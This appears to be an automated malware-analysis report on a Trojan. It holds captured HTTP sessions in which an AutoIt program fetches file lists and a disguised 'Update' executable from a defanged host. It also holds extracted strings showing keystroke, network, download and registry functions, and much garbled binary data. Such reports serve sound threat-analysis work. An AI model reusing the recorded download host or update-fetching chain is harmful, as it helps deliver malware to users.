...R.....:F..;.G...fj.wY.l.=;:........wKI..N..:.S.......2#....^.)c
<<< skipped >>>


GET /snowstorm.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.elitemt2pt.com/index2.php
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.elitemt2pt.com
Connection: Keep-Alive
Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486


HTTP/1.1 200 OK
Date: Fri, 02 Dec 2016 12:58:07 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 25 Nov 2014 03:00:07 GMT
ETag: W/"b5ad3-510a-508a61bc45bc0"
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-WebKit-CSP: default-src 'self'
X-Permitted-Cross-Domain-Policies: master-only
CF-Cache-Status: MISS
Expires: Fri, 02 Dec 2016 16:58:07 GMT
Cache-Control: public, max-age=14400
Server: cloudflare-nginx
CF-RAY: 30aef2d23611290e-OTP
Content-Encoding: gzip
1aa7.............<.s.6..w....o..l...6.9Q..|..M.t..5.L..LB......d...
...]..%9I;.....X,......c..R..6..o.......OpQ................ ad.......6
..Vb!..<..T..e.@.`..TmeSKk..:.p:..K.R..F.F...dJ.......O...k...}..N.
.....!...k.[..\../..!.{.W.F-...|...0..\[...R..lRxZ.@0...f-.&...$...V.,
........x.?E\]Z.:.2C. Q ....V..]..d.S.w..".........o...M.j...d}..i..Ve
k._...z..._k..7...._...xQ. Q.F......y[.....k..V7#.K).W..kQ..H..8......
@A..$.....u..w...u.d...c.uU......U..S..KeR.Z}aEcaF.}...,.......I..R.e.
.F..JX.....n...7..........J...=.H.A.(..Yn.j..p%......W<p...4.x.....
Q.p%....&...Z\.....n.....e>tT.K.A.sq.3..].:d.O.R.....Q......T.($$sQ
..j'`..Q.P.y}.....5......P. .....*.....A.7...Bkd7....W.A.f0.Lh.,.7K..I
...J...\....l`..J.A%.i.......f0...z*..r.W...Z,..)|.P.n$..F...<.4Di`
Ak..~....N|....mDm....Q[....F..sY..V8.F.m...R.R...?jk5J~..e..,.d......
.q..._.[;...e[..p4o.rl.F.....|.s..7..K.9....YR(..P.5..rQ..Z..@.E......
T8>.D.y.K.....5.......z`A...n...!l%RA.v.Lh............e.....>.v.
w U..>D%3.j..... .fk...H..._...ogd.X..u....j..."..h.R4.5..|..U.P..l
 .e)..HX.,.}Q2G{..e ...R.K...]I......X......mM.t....v.a....s.......Z.F
(....>...K#...u..]k..,....>g. (..6' ..-k..7...,.#.  ...G..k.....
.=.4is.6....p......v...5.:.l.|.Q..R....4.e.i...J#.BW......?...TM..Dz.k
%7.Y.uv...m..E..........0.:E..:.-..}0K5..F'...Vm.F..M.\lA.y#...|..2h..
..B!..--....L{1B.(@.....H..Y.....1.^)............E...x..2x......(..VQw
T.s.....n...m].C..ki.Zu.D..'9...s#.....RP|..h....-z00 ..V.b!qGr][.j.@.
R.%..I..c[..]....kQ.. .......Q..E... ..........Y.......B..M.v.3x..
<<< skipped >>>

GET /download/filesrw_2015.txt HTTP/1.1


User-Agent: AutoIt
Host: VVV.elitemt2pt.com
Cache-Control: no-cache
Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486


HTTP/1.1 200 OK
Date: Fri, 02 Dec 2016 12:58:08 GMT
Content-Type: text/plain
Content-Length: 52
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 19 Nov 2016 11:24:33 GMT
ETag: "19c439-34-541a5aab5be40"
Accept-Ranges: bytes
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-WebKit-CSP: default-src 'self'
X-Permitted-Cross-Domain-Policies: master-only
Server: cloudflare-nginx
CF-RAY: 30aef2d92199290e-OTP
Update_v5.69.exe..Update_v5.68.exe..Update_v5.67.exeHTTP/1.1 200 OK..D
ate: Fri, 02 Dec 2016 12:58:08 GMT..Content-Type: text/plain..Content-
Length: 52..Connection: keep-alive..X-Frame-Options: SAMEORIGIN..Last-
Modified: Sat, 19 Nov 2016 11:24:33 GMT..ETag: "19c439-34-541a5aab5be4
0"..Accept-Ranges: bytes..X-XSS-Protection: 1; mode=block..X-Content-T
ype-Options: nosniff..X-WebKit-CSP: default-src 'self'..X-Permitted-Cr
oss-Domain-Policies: master-only..Server: cloudflare-nginx..CF-RAY: 30
aef2d92199290e-OTP..Update_v5.69.exe..Update_v5.68.exe..Update_v5.67.e
xe..



GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8= HTTP/1.1
Cache-Control: max-age = 511667
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 13 Oct 2016 04:57:34 GMT
If-None-Match: "57ff143e-1d7"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=504138
Content-Type: application/ocsp-response
Date: Fri, 02 Dec 2016 12:58:13 GMT
Etag: "58410a93-1d7"
Expires: Fri, 09 Dec 2016 00:58:13 GMT
Last-Modified: Fri, 02 Dec 2016 05:45:55 GMT
Server: ECS (vie/F2D5)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0.......>.i...G...&....cd ...2016
1201220000Z0s0q0I0... ............(..A...B..G@B.X....>.i...G...&...
.cd ........\..m. B.]......20161201220000Z....20161208220000Z0...*.H..
................^Bf~.d}.J.l.e..izz%.H'..ab.;[...<Y..b/.z]..y..a...i
.....>....-....T..{..,.....p?t.1..`..z.W..S6.../\2)1.m..G.xY' 5....
.].^?.........Z...I.....8.u........>.*....U........:.C....y.....Qh.
w.R......Wd.K.D.....V......*.q'M...On...&.A/.b.QV....).`.ng.......HTTP
/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=504138..Cont
ent-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:13 G
MT..Etag: "58410a93-1d7"..Expires: Fri, 09 Dec 2016 00:58:13 GMT..Last
-Modified: Fri, 02 Dec 2016 05:45:55 GMT..Server: ECS (vie/F2D5)..X-Ca
che: HIT..Content-Length: 471..0..........0..... .....0......0...0....
...>.i...G...&....cd ...20161201220000Z0s0q0I0... ............(..A.
..B..G@B.X....>.i...G...&....cd ........\..m. B.]......201612012200
00Z....20161208220000Z0...*.H..................^Bf~.d}.J.l.e..izz%.H'.
.ab.;[...<Y..b/.z]..y..a...i.....>....-....T..{..,.....p?t.1..`.
.z.W..S6.../\2)1.m..G.xY' 5.....].^?.........Z...I.....8.u........>
.*....U........:.C....y.....Qh.w.R......Wd.K.D.....V......*.q'M...On..
.&.A/.b.QV....).`.ng...........
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=502070
Content-Type: application/ocsp-response
Date: Fri, 02 Dec 2016 12:58:19 GMT
Etag: "58410239-1d7"
Expires: Fri, 09 Dec 2016 00:58:19 GMT
Last-Modified: Fri, 02 Dec 2016 05:10:17 GMT
Server: ECS (vie/F2BA)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0......Qh.....u<..edb...Yr;..2016
1202044000Z0s0q0I0... .........&....~...B../j..._...Qh.....u<..edb.
..Yr;.....9...T..p.. zG....20161202044000Z....20161209035500Z0...*.H..
............Ld...w........Q.q...).....o\C.2e<.}b.t.J....Ej.....|Uy%
.T..d2........$b...It...W....6n..[yL.b.*..S..;c"..1s...<.......#.:#
...^t.3..~.#.H.*%...."...R.mE....h.......( ..xmH..V`i.~d......W. ._..X
...{...8.<...2....M.:.V....xh{a2.I....X...P%.V..j0d.........G..HTTP
/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=502070..Cont
ent-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:19 G
MT..Etag: "58410239-1d7"..Expires: Fri, 09 Dec 2016 00:58:19 GMT..Last
-Modified: Fri, 02 Dec 2016 05:10:17 GMT..Server: ECS (vie/F2BA)..X-Ca
che: HIT..Content-Length: 471..0..........0..... .....0......0...0....
..Qh.....u<..edb...Yr;..20161202044000Z0s0q0I0... .........&....~..
.B../j..._...Qh.....u<..edb...Yr;.....9...T..p.. zG....201612020440
00Z....20161209035500Z0...*.H..............Ld...w........Q.q...).....o
\C.2e<.}b.t.J....Ej.....|Uy%.T..d2........$b...It...W....6n..[yL.b.
*..S..;c"..1s...<.......#.:#...^t.3..~.#.H.*%...."...R.mE....h.....
..( ..xmH..V`i.~d......W. ._..X...{...8.<...2....M.:.V....xh{a2.I..
..X...P%.V..j0d.........G....
<<< skipped >>>


GET /images/launcher/back19.jpg HTTP/1.1
Accept: */*
Referer: hXXp://VVV.elitemt2pt.com/index2.php
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.elitemt2pt.com
Connection: Keep-Alive
Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486


HTTP/1.1 200 OK
Date: Fri, 02 Dec 2016 12:58:07 GMT
Content-Type: image/jpeg
Content-Length: 78822
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Last-Modified: Fri, 18 Oct 2013 01:42:24 GMT
ETag: "288c90-133e6-4e8fa0bc88000"
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-WebKit-CSP: default-src 'self'
X-Permitted-Cross-Domain-Policies: master-only
CF-Cache-Status: MISS
Expires: Fri, 02 Dec 2016 16:58:07 GMT
Cache-Control: public, max-age=14400
Accept-Ranges: bytes
Server: cloudflare-nginx
CF-RAY: 30aef2d266302932-OTP
......JFIF.....H.H.....;Exif..II*.....................................
......(...........1...........2...........>...........?............
.......*....Q...........Q...........Q..........i.......@...l........'.
......'..Adobe Photoshop CS2 Windows.2013:10:18 01:38:48.%z...........
...................0u......`........:......o.......Photoshop ICC profi
le...................................x................................
...............(...............................i.......H.......H......
.......JFIF.....H.H......Adobe_CM......Adobe.d........................
......................................................................
........................................................".............
...?..................................................................
........3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6.
.U.e.....u..F'...............Vfv........7GWgw........................5
.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......
u..F...............Vfv........'7GWgw.................?..k p)..BB..i...
....=..Fe..m.(...2`.?.AV[4Zu..q..5.....O*.2.[..........X...s..~.>..
x..h,;.G.*6. H.C.3.'.P..|&-..a:..!........!.y..... ZX.N.)z.4m. p@%Y...
._......?...........c*.8..h.Lu.Ob.vX.......sI.....F.,.nS........4..#s.
......]bI[?W..2...-.!.:.M...?.._....._.....M._.JC,(....G.......kf.O...
...6..uV.X..k.3....F.xu....`......c........e.........t....T}wV...{.V..
........q..l6>..XG ..[..V......2`..L......kp...]aikD....7........8.
:O%\$....f.........]..O.F[.....a...{.Ul.F.o.~.M.........Di..R.....
<<< skipped >>>

GET /download/Update_v5.67 HTTP/1.1


User-Agent: AutoIt
Host: VVV.elitemt2pt.com
Cache-Control: no-cache
Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486


HTTP/1.1 200 OK
Date: Fri, 02 Dec 2016 12:58:08 GMT
Content-Type: text/plain
Content-Length: 8995253
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Last-Modified: Mon, 17 Oct 2016 13:54:12 GMT
ETag: "19b92e-8941b5-53f0fe9230900"
Accept-Ranges: bytes
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-WebKit-CSP: default-src 'self'
X-Permitted-Cross-Domain-Policies: master-only
Server: cloudflare-nginx
CF-RAY: 30aef2d9b2052932-OTP
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................PE..L....h.F.................@...p..............
.P....@.............................................. ................
.......................<...........................................
................................................................text..
..@.......8.................. ..`.data....p...P.......>............
..@....idata...............H..............@..@.rsrc....@.......<...
X..............@..@...................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>


GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon HTTP/1.1
Cache-Control: max-age = 345600
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: clients1.google.com


HTTP/1.1 404 Not Found
Date: Fri, 02 Dec 2016 12:58:54 GMT
Content-Type: text/html; charset=UTF-8
Server: ocsp_responder
Content-Length: 1668
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
<!DOCTYPE html>.<html lang=en>.  <meta charset=utf-8>
;.  <meta name=viewport content="initial-scale=1, minimum-scale=1, 
width=device-width">.  <title>Error 404 (Not Found)!!1</ti
tle>.  <style>.    *{margin:0;padding:0}html,code{font:15px/2
2px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body
{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px
}* > body{background:url(//VVV.google.com/images/errors/robot.png) 
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:h
idden}ins{color:#777;text-decoration:none}a img{border:0}@media screen
 and (max-width:772px){body{background:none;margin-top:0;max-width:non
e;padding-right:0}}#logo{background:url(//VVV.google.com/image..



GET /index2.php HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.elitemt2pt.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Fri, 02 Dec 2016 12:58:06 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486; expires=Sat, 02-Dec-17 12:58:06 GMT; path=/; domain=.elitemt2pt.com; HttpOnly
X-Powered-By: PHP/5.5.36
Server: cloudflare-nginx
CF-RAY: 30aef2ccc0e32908-OTP
Content-Encoding: gzip
2d8............lS...6.}^}..A..`....a...^..H6..E[.E@.#..D.........6..=.
3.9gf.P......?..............s...=...........&sX:a.&m..8.|b...a..n.Kv..
u5_~..Q ...0.3f.H.2....}g|......vb..(T...........*.S...6kp...7....hi..
.aU.Jl.4..........L..F^...%.....|........I..q..l..`..........) ....8A.
...#.;m...8...........o.t......8.r/......@ .b:e....K....j.d.....z....o
=....Z..-JZ...Oje..e......WV........\..n....-`....z.....:>......(.3
.._p..|.&.q2...U..U..........eXm../O.f.g.U....[...3.Z....Fz..GC.......
1.._....BW..C...T.U..C.8...'..P..`..2h}.......x'........UB...ub..@....
.u....j.wE.v..kk..Ur....j}2......D.........LQ...* 7c.3.......K...^./.(
......-U.#t._:..... V....'.............'kP..-.t.f\.DC.. .....y...f..,.
}=]...VoM2.....`.M..2^N...t. k........48a...X.n.6.]7_A..2.......Y. ...
"'hQ..Jf2.Hb*RN<...]t.U./.b0......;..Iv]...}..^^^.Z....F.2..3....y.
Zv.n....EBt~......-J.h...1...Qp,..#_s"..?.x.-s....dt .T."4YG7|1K.sm.9 
j2...rz.....%.9....)...V..,q<V.X.....j.$S`.,&t.........oNh....v..._
......9..........).pU..#..L...{DR......V .[.c...........~B..;.%.b.....
..m..=.yM2...J...O......E..<.~.d..mh.R.Zs.......5.C.Y.............}
..,..Z.%C..,B..JY..E.P3.E...h.!...Ra...u,<.4i(......v...YM...v..?..
d....,..n..?ad.Y,l.c..$h84.d.9..y)A.<.....@%..*..}..\O..{.......9K.
.a.T.m..C~.ec.{G..8...AC.Y.c...b._..Pewb...r.....k.G...*.`.,.......{b'
._.h....V..2.X....PT.f.....U..N).(k.$Wx)_ K..../......K.va..d...~..._i
V`.../E..poq........?.....d.>d....D.. B! ..%.w<Y.U.QK#.#Nc...ZTr
o..16..&.v..n....A.v..kI.[..{.nW".......,^t..o...y..(^.......x.RXm
<<< skipped >>>

GET /images/on.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.elitemt2pt.com/index2.php
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)
Host: VVV.elitemt2pt.com
Connection: Keep-Alive
Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486


HTTP/1.1 200 OK
Date: Fri, 02 Dec 2016 12:58:07 GMT
Content-Type: image/png
Content-Length: 626
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Last-Modified: Thu, 25 Aug 2011 22:32:44 GMT
ETag: "288c4b-272-4ab5c01e57b00"
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-WebKit-CSP: default-src 'self'
X-Permitted-Cross-Domain-Policies: master-only
CF-Cache-Status: MISS
Expires: Fri, 02 Dec 2016 16:58:07 GMT
Cache-Control: public, max-age=14400
Accept-Ranges: bytes
Server: cloudflare-nginx
CF-RAY: 30aef2d203e22908-OTP
.PNG........IHDR.............(-.S....sBIT.....O.....PLTE..............
.....p........=...........3........f.....p.#.........................}
..x..i.....e..{..Q..y..N..G..F.....*..).."~.>m."p.Um.Rj.Q..vf."V..\
..^.!M..7..9. W.82.)...1.'%...........).!*.*...................EtRNS..
"3DDUfw...............................................................
c....pHYs...........~.....tEXtSoftware.Macromedia Fireworks 8.h.x....I
DAT..5.Y..P....s%K.J..5"{......d....9O3.$WM_.....,.M.lnE.....j.k.....I
..#.v"..........q\c...E.j.\.Qt.................o4<..Xr.O..v..:v....
...?...R.....WW.....].w.....j.8..'....(..)(...!'..........u.....IEND.B
`.HTTP/1.1 200 OK..Date: Fri, 02 Dec 2016 12:58:07 GMT..Content-Type: 
image/png..Content-Length: 626..Connection: keep-alive..X-Frame-Option
s: SAMEORIGIN..Last-Modified: Thu, 25 Aug 2011 22:32:44 GMT..ETag: "28
8c4b-272-4ab5c01e57b00"..X-XSS-Protection: 1; mode=block..X-Content-Ty
pe-Options: nosniff..X-WebKit-CSP: default-src 'self'..X-Permitted-Cro
ss-Domain-Policies: master-only..CF-Cache-Status: MISS..Expires: Fri, 
02 Dec 2016 16:58:07 GMT..Cache-Control: public, max-age=14400..Accept
-Ranges: bytes..Server: cloudflare-nginx..CF-RAY: 30aef2d203e22908-OTP
...PNG........IHDR.............(-.S....sBIT.....O.....PLTE............
.......p........=...........3........f.....p.#........................
.}..x..i.....e..{..Q..y..N..G..F.....*..).."~.>m."p.Um.Rj.Q..vf."V.
.\..^.!M..7..9. W.82.)...1.'%...........).!*.*...................EtRNS
.."3DDUfw.........................................................
<<< skipped >>>

GET /download/filesrd_2015.txt HTTP/1.1


User-Agent: AutoIt
Host: VVV.elitemt2pt.com
Cache-Control: no-cache
Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486


HTTP/1.1 200 OK
Date: Fri, 02 Dec 2016 12:58:08 GMT
Content-Type: text/plain
Content-Length: 38
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 19 Nov 2016 11:24:32 GMT
ETag: "19c436-26-541a5aaa67c00"
Accept-Ranges: bytes
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-WebKit-CSP: default-src 'self'
X-Permitted-Cross-Domain-Policies: master-only
Server: cloudflare-nginx
CF-RAY: 30aef2d847822908-OTP
Update_v5.69.Update_v5.68.Update_v5.67HTTP/1.1 200 OK..Date: Fri, 02 D
ec 2016 12:58:08 GMT..Content-Type: text/plain..Content-Length: 38..Co
nnection: keep-alive..X-Frame-Options: SAMEORIGIN..Last-Modified: Sat,
 19 Nov 2016 11:24:32 GMT..ETag: "19c436-26-541a5aaa67c00"..Accept-Ran
ges: bytes..X-XSS-Protection: 1; mode=block..X-Content-Type-Options: n
osniff..X-WebKit-CSP: default-src 'self'..X-Permitted-Cross-Domain-Pol
icies: master-only..Server: cloudflare-nginx..CF-RAY: 30aef2d847822908
-OTP..Update_v5.69.Update_v5.68.Update_v5.67....


GET /download/Update_v5.67 HTTP/1.1


User-Agent: AutoIt
Host: VVV.elitemt2pt.com
Cache-Control: no-cache
Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486


HTTP/1.1 200 OK
Date: Fri, 02 Dec 2016 12:58:08 GMT
Content-Type: text/plain
Content-Length: 8995253
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Last-Modified: Mon, 17 Oct 2016 13:54:12 GMT
ETag: "19b92e-8941b5-53f0fe9230900"
Accept-Ranges: bytes
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-WebKit-CSP: default-src 'self'
X-Permitted-Cross-Domain-Policies: master-only
Server: cloudflare-nginx
CF-RAY: 30aef2dac15e2908-OTP
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................PE..L....h.F.................@...p..............
.P....@.............................................. ................
.......................<...........................................
................................................................text..
..@.......8.................. ..`.data....p...P.......>............
..@....idata...............H..............@..@.rsrc....@.......<...
X..............@..@...................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8= HTTP/1.1
Cache-Control: max-age = 511667
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 13 Oct 2016 04:57:34 GMT
If-None-Match: "57ff143e-1d7"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=504138
Content-Type: application/ocsp-response
Date: Fri, 02 Dec 2016 12:58:13 GMT
Etag: "58410a93-1d7"
Expires: Fri, 09 Dec 2016 00:58:13 GMT
Last-Modified: Fri, 02 Dec 2016 05:45:55 GMT
Server: ECS (vie/F2D5)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0.......>.i...G...&....cd ...2016
1201220000Z0s0q0I0... ............(..A...B..G@B.X....>.i...G...&...
.cd ........\..m. B.]......20161201220000Z....20161208220000Z0...*.H..
................^Bf~.d}.J.l.e..izz%.H'..ab.;[...<Y..b/.z]..y..a...i
.....>....-....T..{..,.....p?t.1..`..z.W..S6.../\2)1.m..G.xY' 5....
.].^?.........Z...I.....8.u........>.*....U........:.C....y.....Qh.
w.R......Wd.K.D.....V......*.q'M...On...&.A/.b.QV....).`.ng.......nt>....


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=502070
Content-Type: application/ocsp-response
Date: Fri, 02 Dec 2016 12:58:19 GMT
Etag: "58410239-1d7"
Expires: Fri, 09 Dec 2016 00:58:19 GMT
Last-Modified: Fri, 02 Dec 2016 05:10:17 GMT
Server: ECS (vie/F2BA)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0......Qh.....u<..edb...Yr;..2016
1202044000Z0s0q0I0... .........&....~...B../j..._...Qh.....u<..edb.
..Yr;.....9...T..p.. zG....20161202044000Z....20161209035500Z0...*.H..
............Ld...w........Q.q...).....o\C.2e<.}b.t.J....Ej.....|Uy%
.T..d2........$b...It...W....6n..[yL.b.*..S..;c"..1s...<.......#.:#
...^t.3..~.#.H.*%...."...R.mE....h.......( ..xmH..V`i.~d......W. ._..X
...{...8.<...2....M.:.V....xh{a2.I....X...P%.V..j0d.........G..HTTP
/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=502070..Cont
ent-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:19 G
MT..Etag: "58410239-1d7"..Expires: Fri, 09 Dec 2016 00:58:19 GMT..Last
-Modified: Fri, 02 Dec 2016 05:10:17 GMT..Server: ECS (vie/F2BA)..X-Ca
che: HIT..Content-Length: 471..0..........0..... .....0......0...0....
..Qh.....u<..edb...Yr;..20161202044000Z0s0q0I0... .........&....~..
.B../j..._...Qh.....u<..edb...Yr;.....9...T..p.. zG....201612020440
00Z....20161209035500Z0...*.H..............Ld...w........Q.q...).....o
\C.2e<.}b.t.J....Ej.....|Uy%.T..d2........$b...It...W....6n..[yL.b.
*..S..;c"..1s...<.......#.:#...^t.3..~.#.H.*%...."...R.mE....h.....
..( ..xmH..V`i.~d......W. ._..X...{...8.<...2....M.:.V....xh{a2.I..
..X...P%.V..j0d.........G....
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_1760:

`.rsrc
%f;)s
s%j.Zf
tGHt.Ht&
ItCP
tCPh
SSSSh
Cv=kAv.SCvs
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.
uxtheme.dll
kernel32.dll
APPSKEY
ASC 0%d
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \U, or \u
support for \P, \p, and \X has not been compiled
(*VERB) with an argument is not supported
ICMP.DLL
zcÁ
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
GetCPInfo
GetConsoleOutputCP
RegDeleteKeyW
RegCreateKeyExW
RegEnumKeyExW
RegCloseKey
RegOpenKeyExW
SetViewportOrgEx
ShellExecuteExW
SHFileOperationW
ShellExecuteW
RegisterHotKey
GetKeyboardLayoutNameW
UnregisterHotKey
ExitWindowsEx
EnumThreadWindows
GetAsyncKeyState
SetKeyboardState
GetKeyboardState
GetKeyState
keybd_event
VkKeyScanA
GetKeyboardLayoutNameA
EnumWindows
EnumChildWindows
MapVirtualKeyW
CloseWindowStation
SetProcessWindowStation
OpenWindowStationW
InternetOpenUrlW
FtpOpenFileW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpGetFileSize
InternetCrackUrlW
.text
`.rdata
@.data
.rsrc
S.nBr
=TGm
FtpH|
version="3.0.0.0"
<requestedExecutionLevel
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
KERNEL32.DLL
ADVAPI32.dll
COMCTL32.dll
COMDLG32.dll
GDI32.dll
MPR.dll
ole32.dll
OLEAUT32.dll
PSAPI.DLL
SHELL32.dll
USER32.dll
USERENV.dll
VERSION.dll
WININET.dll
WINMM.dll
WSOCK32.dll
mscoree.dll
CMDLINERAW
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
FTPSETPROXY
GUICTRLRECVMSG
GUICTRLSENDMSG
GUIGETMSG
GUIREGISTERMSG
HOTKEYSET
HTTPSETPROXY
ISKEYWORD
MSGBOX
REGENUMKEY
SHELLEXECUTE
SHELLEXECUTEWAIT
TCPACCEPT
TCPCLOSESOCKET
TCPCONNECT
TCPLISTEN
TCPNAMETOIP
TCPRECV
TCPSEND
TCPSHUTDOWN
TCPSTARTUP
TRAYGETMSG
UDPBIND
UDPCLOSESOCKET
UDPOPEN
UDPRECV
UDPSEND
UDPSHUTDOWN
UDPSTARTUP
URLDOWNLOADTOFILE
%s (%d) : ==> %s:
\??\%s
GUI_RUNDEFMSG
FtpBinaryMode
SendKeyDelay
SendKeyDownDelay
TCPTimeout
AUTOITCALLVARIABLE%d
Keyword
AutoIt.Error
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
HOTKEYPRESSED
AUTOITEXE
WINDOWSDIR
SOFTWARE\Microsoft\Windows\CurrentVersion
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
3, 3, 0, 0
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
